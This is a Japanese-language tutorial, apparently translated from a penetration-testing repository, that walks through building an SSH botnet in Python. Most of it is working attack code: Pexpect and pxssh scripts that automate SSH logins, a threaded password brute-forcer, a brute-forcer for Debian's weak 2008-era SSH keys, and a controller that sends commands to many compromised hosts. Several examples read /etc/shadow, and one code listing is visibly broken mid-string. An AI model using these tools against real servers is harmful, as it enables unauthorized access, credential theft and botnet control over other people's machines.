2-PythonでSSHゾンビネットワークを構築

15420 ワード

ソース:https://github.com/LToddy/penetrationtest
Morrisワームには、一般的なユーザー名とパスワードでRSH(remote shell)サービスにログインしようとする3つの攻撃方法があります.RSHは1998年に登場し、システム管理者に優れた(安全ではないが)遠隔接続機器を提供し、ホスト上で一連の端末コマンドを実行して管理する方法を提供した.
その後、RSHに鍵暗号化アルゴリズムを追加し、ネットワークを介して伝達されるデータを保護した.これがSSH(secure shell)プロトコルであり、最終的にSSHがRSHに取って代わった.
しかし、一般的なユーザー名とパスワードで暴力的にログインしようとする攻撃を防ぐには、あまり役に立たない.SSHワームは非常に成功し,よく見られるSSH攻撃方式であることが実証されている.
Tue Jul 18 13:49:00 2017 [pid 12371] CONNECT: Client "140.205.225.191"
Tue Jul 18 13:49:02 2017 [pid 12370] [user] FAIL LOGIN: Client "140.205.225.191"
Tue Jul 18 13:49:03 2017 [pid 12373] CONNECT: Client "140.205.225.191"
Tue Jul 18 13:49:05 2017 [pid 12372] [user] FAIL LOGIN: Client "140.205.225.191"
Tue Jul 18 13:49:06 2017 [pid 12375] CONNECT: Client "140.205.225.191"
Tue Jul 18 13:49:08 2017 [pid 12374] [user] FAIL LOGIN: Client "140.205.225.191"
Tue Jul 18 13:49:11 2017 [pid 12374] [user] FAIL LOGIN: Client "140.205.225.191"
Tue Jul 18 13:49:12 2017 [pid 12377] CONNECT: Client "140.205.225.191"
Tue Jul 18 13:49:14 2017 [pid 12376] [user] FAIL LOGIN: Client "140.205.225.191"
Tue Jul 18 13:49:17 2017 [pid 12376] [user] FAIL LOGIN: Client "140.205.225.191"
Tue Jul 18 13:49:18 2017 [pid 12379] CONNECT: Client "140.205.225.191"
Tue Jul 18 13:49:20 2017 [pid 12378] [root] FAIL LOGIN: Client "140.205.225.191"
Tue Jul 18 13:49:23 2017 [pid 12378] [root] FAIL LOGIN: Client "140.205.225.191"
Tue Jul 18 13:49:24 2017 [pid 12381] CONNECT: Client "140.205.225.191"
Tue Jul 18 13:49:27 2017 [pid 12380] [root] FAIL LOGIN: Client "140.205.225.191"
Tue Jul 18 13:49:27 2017 [pid 12383] CONNECT: Client "140.205.225.191"
Tue Jul 18 13:49:29 2017 [pid 12382] [root] FAIL LOGIN: Client "140.205.225.191"
Tue Jul 18 13:49:30 2017 [pid 12385] CONNECT: Client "140.205.225.191"
Tue Jul 18 13:49:32 2017 [pid 12384] [root] FAIL LOGIN: Client "140.205.225.191"
Tue Jul 18 13:49:36 2017 [pid 12384] [root] FAIL LOGIN: Client "140.205.225.191"
Tue Jul 18 13:49:36 2017 [pid 12389] CONNECT: Client "140.205.225.191"
Tue Jul 18 13:49:39 2017 [pid 12388] [root] FAIL LOGIN: Client "140.205.225.191"
Tue Jul 18 13:49:39 2017 [pid 12391] CONNECT: Client "140.205.225.191"
Tue Jul 18 13:49:42 2017 [pid 12390] [root] FAIL LOGIN: Client "140.205.225.191"
Tue Jul 18 13:49:43 2017 [pid 12393] CONNECT: Client "140.205.225.191"
Tue Jul 18 13:49:45 2017 [pid 12392] [root] FAIL LOGIN: Client "140.205.225.191"
Tue Jul 18 13:49:46 2017 [pid 12395] CONNECT: Client "140.205.225.191"
Tue Jul 18 14:03:05 2017 [pid 12567] CONNECT: Client "39.43.64.192"
Tue Jul 18 14:03:09 2017 [pid 12566] [Admin] FAIL LOGIN: Client "39.43.64.192"

これは私のアリクラウドサーバー上のftpのログ記録です.サーバは毎日大量のスキャン攻撃を受けます.
PexpectでSSHと対話する
では、特定のターゲットのユーザー名/パスワードを暴力的に解読するSSHワームを実現しましょう.SSHクライアントはユーザーと対話する必要があるため、我々のスクリプトロシアはさらなる入力コマンドを送信する前に待機し、画面出力の意味を理解しなければならない.
状況を考えてみると、IPアドレス127.0.0.1にSSHを格納しているマシンに接続するには、アプリケーションがまずRSA鍵の指紋を確認するように要求します.
このとき、私たちは「はい」と答えてから続けなければなりません.次に、コマンドプロンプトを与える前に、アプリケーションはパスワードを入力するように要求します.最後に、ターゲットマシン上のシステムカーネルのバージョンを決定するためにuname-vコマンドを実行します.
➜  ~ ssh root@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:yFjJtQviMKIarBcVssu8hwxyzoOgg5jrOICm8Eu1t8E.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
root@localhost's password:
linuxbox# uname -v
#63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017

上記コンソールのインタラクションプロセスを自動的に完了するためには、サードパーティ製PythonモジュールPexpectを使用する必要がある.
Pexpectは、プログラムと対話し、所望のスクリーン出力を待つことができ、これに基づいて異なる応答を行うことができる.これにより、SSHユーザーのパスワードプログラムを暴力的に解読する第一選択ツールと呼ばれています.
connect()関数を検出します.この関数の受け入れパラメータには、ユーザー名、ホスト、パスワードが含まれており、これによって行われたSSH接続の結果が返されます.その後、Pexpectライブラリを使用して、私たちのプログラムは「予想可能な」出力を待っています.タイムアウト、ホストが新しい公開鍵メッセージを使用していること、パスワードなどのプロンプトが必要であることを示す3つの状況が発生する可能性があります.
タイムアウトが発生した場合expect()は0を返し、次のif文でこの状況を区別してエラーメッセージを印刷して返します.もし...expect()メソッドはssh_をキャプチャしたnewkeyメッセージは、1を返します.これにより、関数は新しい鍵を受け入れるために「yes」メッセージを送信します.その後、関数はパスワードのプロンプトを待って、SSHパスワードを送信します.
import pexpect

PROMPT = ['# ', '>>> ', '> ', "\$ "]


def sen_command(child, cmd):
    child.sendline(cmd)
    child.expect(PROMPT)
    print(child.before)


def connect(user, host, password):
    ssh_newkey = 'are you sure you want to continue connecting'
    conn_str = 'ssh ' + user + '@' + host
    child = pexpect.spawn(conn_str)
    ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:'])
    if ret == 0:
        print('[-] error connecting')
        return

    if ret == 1:
        child.sendline('yes')
        ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:'])

        if ret == 0:
            print('[-] error connecting')
            return

        child.sendline(password)
        child.expect(PROMPT)
        return child

検証に合格すると、SSHセッションでコマンドを送信するために、個別のcommand()関数を使用することができます.command()関数が受信するパラメータは、SSHセッションのコマンド文字列です.その後、コマンド文字列がセッションに送信され、コマンドプロンプトが再び表示されるのを待つ.コマンドプロンプトを取得すると、この関数はSSHセッションから得られた結果を印刷します.
import pexpect

PROMPT = ['# ', '>>> ', '> ', "\$ "]


def sen_command(child, cmd):
    child.sendline(cmd)
    child.expect(PROMPT)
    print(child.before)

これらをすべてパッケージ化すると、人間のインタラクション動作をシミュレートできる接続とSSHセッションを制御するスクリプトがあります.
import pexpect

PROMPT = ['# ', '>>> ', '> ', "\$ "]


def send_command(child, cmd):
    child.sendline(cmd)
    child.expect(PROMPT)
    print(child.before)


def connect(user, host, password):
    ssh_newkey = 'are you sure you want to continue connecting'
    conn_info = 'ssh ' + user + '@' + host
    child = pexpect.spawn(conn_info)
    ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:'])
    if ret == 0:
        print('[-] error connecting')
        return

    if ret == 1:
        child.sendline('yes')
        ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:'])

        if ret == 0:
            print('[-] error connecting')
            return

        child.sendline(password)
        child.expect(PROMPT)
        return child


def main():
    host = 'localhost'
    user = 'root'
    password = 'toor'

    child = connect(user, host, password)
    send_command(child, 'cat /etc/shadow | grep root')


if __name__ == '__main__':
    main()

Pxssh暴力でSSHパスワードを解読する
上記のスクリプトではpexpectについて理解しましたが、Pxsshでさらに簡略化することもできます.Pxsshは、あらかじめ書かれたlogin()、logout()、prompt()関数などでSSHと直接対話できるpexpectライブラリを含む専用スクリプトです.
from pexpect import pxssh


def send_command(s, cmd):
    s.sendline(cmd)
    s.prompt()
    print(s.before)


def connect(host, user, password):
    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        return s
    except:
        print('[-] error connecting')
        exit(0)


s = connect('127.0.0.1', 'root', 'toor')
send_command(s, 'cat /etc/shadow | grep root')

シナリオはもう少し修正すれば、シナリオがSSHパスワードを自動的に暴力的に解読する任務を遂行することができる.
ホスト名、ユーザー名、および試行するパスワードが保存されているファイルを読み込むためにパラメータ解析コードを追加する以外は、connect()関数を少し変更するだけです.login()関数が正常に実行され、例外が投げ出されなかった場合、パスワードが見つかったことを示すメッセージを印刷し、パスワードが1杯見つかったことを示すグローバルブール値をTrueに設定します.そうでなければ、私たちはこの異常にすぎません.もし異常表示パスワードが拒否されたら、私たちはこのパスワードが間違っていることを知っていて、関数を返してください.ただし、socketが「read_nonblocking」と異常表示されている場合は、SSHサーバが大量の接続でパンクしている可能性がありますので、しばらく待って同じパスワードでもう一度試してみてください.また、この異常表示pxsshコマンドプロンプトの抽出が困難な場合は、しばらく待ってからもう一度試してもらう必要があります.
connect()関数のパラメータにはブール量releaseがあります.connect()は再帰的に呼び出すことができるので、connect()再帰的に呼び出されていないconnect()関数だけがconnect_を解放できるようにしなければなりません.lock信号.
from pexpect import pxssh
import optparse
import time
from threading import *

maxconnections = 5
connectionlock = BoundedSemaphore(value=maxconnections)

isfound = False
fails = 0


def connect(host, user, password, release):
    global isfound
    global fails

    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        print('[+] Password Found: ' + password)
        Found = True
    except Exception as e:
        if 'read_nonblocking' in str(e):
            fails += 1
            time.sleep(5)
            connect(host, user, password, False)
        elif 'synchronize with original prompt' in str(e):
            time.sleep(1)
            connect(host, user, password, False)

    finally:
        if release: connectionlock.release()


def main():
    parser = optparse.OptionParser('usage %prog -H  -u  -F ')
    parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
    parser.add_option('-F', dest='passwdFile', type='string', help='specify password file')
    parser.add_option('-u', dest='user', type='string', help='specify the user')

    (options, args) = parser.parse_args()
    host = options.tgtHost
    passwdFile = options.passwdFile
    user = options.user

    if host == None or passwdFile == None or user == None:
        print(parser.usage)
        exit(0)

    fn = open(passwdFile, 'r')
    for line in fn.readlines():

        if isfound:
            print("[*] Exiting: Password Found")

            exit(0)
        if fails > 5:
            print("[!] Exiting: Too Many Socket Timeouts")
            exit(0)

        connectionlock.acquire()
        password = line.strip('\r').strip('
') print("[-] Testing: " + str(password)) t = Thread(target=connect, args=(host, user, password, True)) child = t.start() if __name__ == '__main__': main()

SSHの弱い秘密鍵を利用する
SSHサーバの場合、パスワード検証は唯一の手段ではありません.このほか、SSHは公開鍵暗号化方式で検証することもできる.この検証方式を使用すると,サーバとユーザはそれぞれ公開鍵と秘密鍵を把握する.RSAまたはDSAアルゴリズムを使用すると、サーバはSSHに登録された鍵を生成することができる.一般的に、これは非常に良い検証方法です.1024ビット、2048ビット、さらには4096ビットの鍵を生成することができるため、この認証過程はさっき私たちが弱いパスワードを利用して暴力的に解読したように解読することは難しい.
しかし、2006年のDebian Linuxリリース版で興味深いことが起こった.ソフトウェア自動分析ツールは、開発者が注釈したコードの行を発見しました.この行のコードは、SSH鍵を作成するための情報が十分大きいことを保証するために使用されます.注釈が付けられた後,鍵の空間サイズのエントロピー値は15ビットサイズに減少した.わずか15ビットのエントロピーは、いずれのアルゴリズムおよび鍵長においても、可能な鍵が32767個しかないことを意味する.
Rapid 7のCSOとチーフアーキテクチャーHD Mooreは2時間以内にすべての1024ビットと2048ビットアルゴリズムの可能な鍵を生成した.そして、彼は結果をhttp://digitaloffense.net/tools/debianopenssl/で、みんながダウンロードして利用できるようにします.
wget http://digitaloffense.net/tools/debian-openssl/debian_ssh_dsa_1024_x86.tar.bz2

この間違いは2日後に安全研究員に発見された.その結果、この脆弱性のあるSSHサービスがかなりのサーバに存在することは間違いありません.この脆弱性を利用するツールを作成できれば素晴らしいです.鍵空間にアクセスすることで、簡単なPythonスクリプトを書いて32767個の可能な鍵を試し、パスワードではなく公開鍵暗号化アルゴリズムを使用して古い認証を行ったSSHサーバにログインすることができます.鍵を使用してSSHにログインする場合は、sshを入力する必要があります.user@host-i keyfile-o PasswordAuthenication=no形式のコマンドです.
#!/usr/bin/python
# -*- coding: utf-8 -*-
import pexpect
import optparse
import os
from threading import *

maxconnections = 5
connectionlock = BoundedSemaphore(value=maxconnections)
stop = False
fails = 0


def connect(user, host, keyfile, release):
    global stop
    global fails
    try:
        perm_denied = 'Permission denied'
        ssh_newkey = 'Are you sure you want to continue'
        conn_closed = 'Connection closed by remote host'
        opt = ' -o PasswordAuthentication=no'
        connStr = 'ssh ' + user + '@' + host + ' -i ' + keyfile + opt
        child = pexpect.spawn(connStr)
        ret = child.expect([pexpect.TIMEOUT, perm_denied, ssh_newkey, conn_closed, '$', '#', ])
        if ret == 2:
            print('[-] Adding Host to ~/.ssh/known_hosts')
            child.sendline('yes')
            connect(user, host, keyfile, False)
        elif ret == 3:
            print('[-] Connection Closed By Remote Host')
            fails += 1
        elif ret > 3:
            print('[+] Success. ' + str(keyfile))
            stop = True
    finally:
        if release:
            connectionlock.release()


def main():
    parser = optparse.OptionParser('usage %prog -H  -u  -d ')
    parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
    parser.add_option('-d', dest='passDir', type='string', help='specify directory with keys')
    parser.add_option('-u', dest='user', type='string', help='specify the user')

    (options, args) = parser.parse_args()
    host = options.tgtHost
    passDir = options.passDir
    user = options.user

    if host == None or passDir == None or user == None:
        print(parser.usage)
        exit(0)

    for filename in os.listdir(passDir):
        if stop:
            print('[*] Exiting: Key Found.')
            exit(0)
        if fails > 5:
            print('[!] Exiting: Too Many Connections Closed By Remote Host.')
            print('[!] Adjust number of simultaneous threads.')
            exit(0)
        connectionlock.acquire()
        fullpath = os.path.join(passDir, filename)
        print('[-] Testing keyfile ' + str(fullpath))
        t = Thread(target=connect, args=(user, host, fullpath, True))
        child = t.start()


if __name__ == '__main__':
    main()

SSHゾンビネットワークの構築
SSHでホストを制御できるようになりました.次に、複数のホストを同時に制御し続けましょう.攻撃者は悪意のある目的を達成する際に、通常は黒くなったコンピュータ群を使用する.私たちはゾンビネットワークと呼ばれています.黒くなったパソコンはゾンビのように命令を実行するからです.
ゾンビネットワークでは、個々のゾンビやclientごとに肉機に接続し、コマンドを肉機に送信する能力が必要です.
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pexpect import pxssh


class Client:
    def __init__(self, host, user, password):
        self.host = host
        self.user = user
        self.password = password
        self.session = self.connect()

    def connect(self):
        try:
            s = pxssh.pxssh()
            s.login(self.host, self.user, self.password)
            return s
        except Exception as e:
            print(e)
            print('[-] error connecting')

    def send_command(self, cmd):
        self.session.sendline(cmd)
        self.session.prompt()
        return self.session.before


def botnetCommand(command):
    for client in botNet:
        output = client.send_command(command)
        print('[*] Output from ' + client.host)
        print('[+] ' + output)


def addClient(host, user, password):
    client = Client(host, user, password)
    botNet.append(client)


botNet = []
addClient('127.0.0.1', 'root', 'toor')
addClient('127.0.0.1', 'root', 'toor')
addClient('127.0.0.1', 'root', 'toor')

botnetCommand('uname -v')
botnetCommand('cat /etc/issue')